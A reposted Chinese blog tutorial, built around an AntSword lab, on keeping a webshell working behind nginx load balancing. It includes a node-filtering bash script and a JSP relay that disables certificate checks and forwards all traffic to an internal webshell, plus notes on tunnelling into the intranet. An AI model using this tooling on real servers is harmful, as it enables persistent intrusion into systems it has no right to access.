解决nginx的负载均衡下上传webshell的问题

news/2024/7/7 21:45:12 标签: nginx, webshell, 负载均衡

目录

环境

问题

访问的ip会变动     

执行命令的服务器未知

 上传大文件损坏

深入内网

解决方案


环境


ps :现在已经拿下服务器了,要解决的是负载均衡问题,

以下是docker环境:

链接: https://pan.baidu.com/s/1cjMfyFbb50NuUtk6JNfXNQ?pwd=1aqw

提取码: 1aqw

在/root/AntSword-Labs-master/loadbalance/loadbalance-jsp路径下开启容器

查看:    

  

浏览器测试下能打开,然后直接用蚁剑连接

问题

访问的ip会变动
     

  负载均衡原理这里不讲了

这里的现象就是在两台服务器上转换,所以想要连接成功, 那就每个服务器都要上传后门即可解决

执行命令的服务器未知


  就是在执行命令时,不知道是哪个服务器执行的,那就多执行几次,也可以轻松解决

 上传大文件损坏


因为是负载均衡,所以上传大一点的文件会被拆开分到不同服务器上导致文件损失,尽量上传小文件,也能行

深入内网


目标服务器不能出内网,但是它有web服务器部署在外网

所以就把隧道上传到目标服务器,与web服务器连接, 就可以把web服务器当成代理进入内网

这样由于负载均衡,传输数据传到一半可能中断传输,就无法建立连接。

解决方案


  1.关一台服务器,不让负载均衡,理论上可行,但是不切实际,真实环境犯法

 2.筛选出指定ip再执行

    写个脚本,然后给两个服务器都上传

#!/bin/bash
MYIP=$(hostname -i)
if [ "$MYIP" == "172.19.0.2" ]; then
        echo -e "Node1. 执行命令。\n=======\n"
        hostname -i
else
        echo "其他节点。请重试。"
fi

   

然后执行:  

但是这样无法解决上传文件、出内网问题,仅适用执行命令的情况

3.在web层面做一次http流量转发

 由于这两台服务器互相是可以访问的,那么思路就是在其中一台服务器上做流量转发

目的就是无论访问哪台服务器,最终流量都去往同一台服务器

 

这里提供一个流量转发的脚本:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
 
<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

   直接上传文件会被分片损坏,所以在蚁剑上直接新建文件,多保存几次即可

    

 

然后修改蚁剑的连接并测试:

 


原文链接:https://blog.csdn.net/vt_yjx/article/details/132273609


http://www.niftyadmin.cn/n/4955050.html

相关文章

线性代数的学习和整理6:向量和矩阵详细,什么是矩阵?(草稿-----未完成)

43 矩阵 4.1 矩阵 4 整理网上总结一些 关于直击线性代数本质的 观点 矩阵的本质是旋转和缩放 矩阵里的数字0矩阵里的数字1&#xff0c;表示不进行缩放矩阵里的数字2等&#xff0c;表示缩放矩阵里的数字-3 表示缩放-3倍&#xff0c;并且反向矩阵里的数字的位置矩阵拆分为列向量…

foobar2000使用笔记

foobar2000使用笔记 现在大多数在线音乐不开通VIP会员&#xff0c;很多歌曲只能听很短几句就听不了了。即使是歌曲免费&#xff0c;想听的歌在不同的APP平台&#xff0c;也较为不便。没办法&#xff0c;听歌又回归到了很多年前下载到本地播放的方式。电脑上的离线音乐一直用网上…

SpringAOP原理:手写动态代理实现

0、基础知识 AOP我们知道&#xff0c;是在不修改源代码的情况下&#xff0c;为代码添加一些新功能的技术。通过动态代理&#xff0c;可以在不修改原始类代码的前提下&#xff0c;对方法进行拦截和增强。 动态代理常用于在不改变原有业务逻辑的情况下&#xff0c;对方法…

SWUST派森练习题:P118. 数组接雨

描述 给定一个整形数组​​arr​​**&#xff0c;已知其中所有的值都是非负的&#xff0c;将这个数组看作一个柱子高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。​​(​​数组以外的区域高度视为​0)** 数据范围&#xff1a;数组长度​​** 0≤n≤…

sklearn中主成分分析PCA参数解释

主成分分析一般用于数据降维&#xff0c;在应用主成分分析包scikit-learn时注意以下四点&#xff1a; 1、用pca.components_可以获取特征向量&#xff0c;且特征向量为行向量&#xff0c;例如W pca.components_[0, :] &#xff08;或W pca.components_[0]&#xff09;为第一…

MATLAB | 七夕节用MATLAB画个玫瑰花束叭

Hey又是一年七夕节要到了&#xff0c;每年一次直男审美MATLAB绘图大赛开始hiahiahia&#xff0c;真的这些代码越写越不知道咋写&#xff0c;又不想每年把之前的代码翻出来再发一遍&#xff0c;于是今年又对我之前写的老代码进行了点优化组合&#xff0c;整了个花球变花束&#…

第 4 章 链表(2)(单链表面试题)

单链表面试题(新浪、百度、腾讯) 单链表的常见面试题有如下: 1.求单链表中有效节点的个数 /*** 单链表*/ public class SingleLinkedListDemo {public static void main(String[] args) {//进行测试//先创建节点HeroNode hero1 new HeroNode(1, "宋江", "及时…

OAuth2.0一 Spring Security OAuth2.0

这里主讲OAuth2.0 学习OAuth2前提&#xff1a; 掌握Spring Security Spring Security学习 一 OAuth2.0介绍 OAuth&#xff08;Open Authorization&#xff09;是一个关于授权&#xff08;authorization&#xff09;的开放网络标准&#xff0c;允许用户授权第三方应用访问他们…